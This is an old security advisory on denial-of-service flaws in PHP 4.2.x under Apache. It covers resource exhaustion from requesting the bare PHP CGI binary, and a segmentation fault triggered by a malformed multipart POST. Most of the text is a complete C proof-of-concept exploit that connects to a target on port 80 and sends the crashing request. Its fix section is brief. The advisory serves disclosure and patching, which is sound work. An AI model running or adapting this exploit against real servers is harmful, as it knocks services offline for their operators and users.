|
COMMAND PHP resource exhaustion Denial of Service SYSTEMS AFFECTED PHP for windows rel ? PROBLEM Matthew Murphy [http://www.murphy.101main.net] says : The PHP interpreter is a heavy-duty CGI EXE (or SAPI module, depending on configuration) that implements an HTML-embedded script language. A vulnerability in PHP can be used to cause a denial of service in some cases. PHP's install process on Apache requires a "/php/" alias to be created, as it resolves CGI paths to a virtual. (e.g, /php/php.exe not C:phpphp.exe). To solve the obvious security vulnerability posed by allowing PHP to run from the web, the development team added a cgi.force_redirect option that is enabled by default in Apache. However, regardless of the force_redirect value, it is still possible to load the binary without a script path: (e.g, http://localhost/php/php) A problem exists in PHP; specifically, it does not terminate when given no command-line arguments. A consistent flow of requests like the above will exhaust all resources for CGI/ASAPI on the server. Exploit: http://www.murphy.101main.net/php-apache.c Compiles cleanly on WinMe with MSVC 6.0 Update (02 August 2002) Exploit by bob, bob@dtors.net /* DSR-php4.2x.c * The follow is Proof Of Concept code to * to reproduce the segmentation violation * in PHP4.2.0 & PHP4.2.1 with Apache 1.3.26 on * x86 arch. Found by Joseph S. TestaII * * Proof Of Concept code by bob@dtors.net * [notice] child pid 10779 exit signal Segmentation fault (11) * */ #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> int main(int argc, char *argv[]) { int sock, i; char seg[250]; struct in_addr addr; struct sockaddr_in sin; struct hostent *he; fprintf(stdout, "\nDSR-php4.2x.c By bob. POC.[www.dtors.net]\n\n"); if(argc<3) { fprintf(stderr, "\nUsage : %s <host> <php file>\n\n", argv[0]); exit(1); } if ((he=gethostbyname(argv[1])) == NULL) { fprintf(stderr, "ERROR: Hostname lookup failed!\n\n"); exit(1); } sock=socket(AF_INET, SOCK_STREAM, 0); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family=AF_INET; sin.sin_port=htons(80); fprintf(stdout, "Connecting to %s... \n",argv[1]); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0) { fprintf(stderr, "ERROR: Connection Timed Out!\n"); exit(1); } else { sleep(5); fprintf(stdout, "Sending headers... \n"); sprintf(seg,"POST /%s HTTP/1.0\nContent-type: multipart/form-data; boundary=---------------------------123\nContent-length: 129\n\n-----------------------------123\nContent-Disposition: filename\n\n\nhttp://www.dtors.net\n-----------------------------123--\n\n",argv[2]); write(sock,seg,strlen(seg)); fprintf(stdout, "...headers sent! \n\n"); fprintf(stdout, "Now check your error_log, for apache [child pid] signal(11)\n"); close(sock); } } SOLUTION Update (24 July 2002) ====== Vejeta says : This does not apply when the php interpreter is dynamically loaded by apache using the DSO interface